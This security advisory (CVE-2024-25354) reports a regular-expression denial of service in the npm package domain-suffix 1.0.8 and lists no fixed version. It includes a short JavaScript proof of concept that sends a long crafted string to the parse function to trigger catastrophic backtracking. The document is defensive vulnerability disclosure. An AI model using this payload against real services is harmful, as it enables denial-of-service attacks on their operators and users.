Advisory

GHSA-cqfh-c4c5-c2hg

Also known as: CVE-2024-25354

Summary

domain-suffix RegEx Denial of Service

Details

RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.

PoC

async function exploit() {
   const domainsuffix = require(\"domain-suffix\");
   // Crafting a string that will cause excessive backtracking
   const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
   const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();

Severity

High Basis: The source's own band: HIGH

Dates

Published
2024-03-28 00:31 UTC
Modified
2025-09-03 15:16 UTC

Affected packages and fixes

domain-suffix

npm · All systems

Affected

  • introduced 0, last affected 1.0.8 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences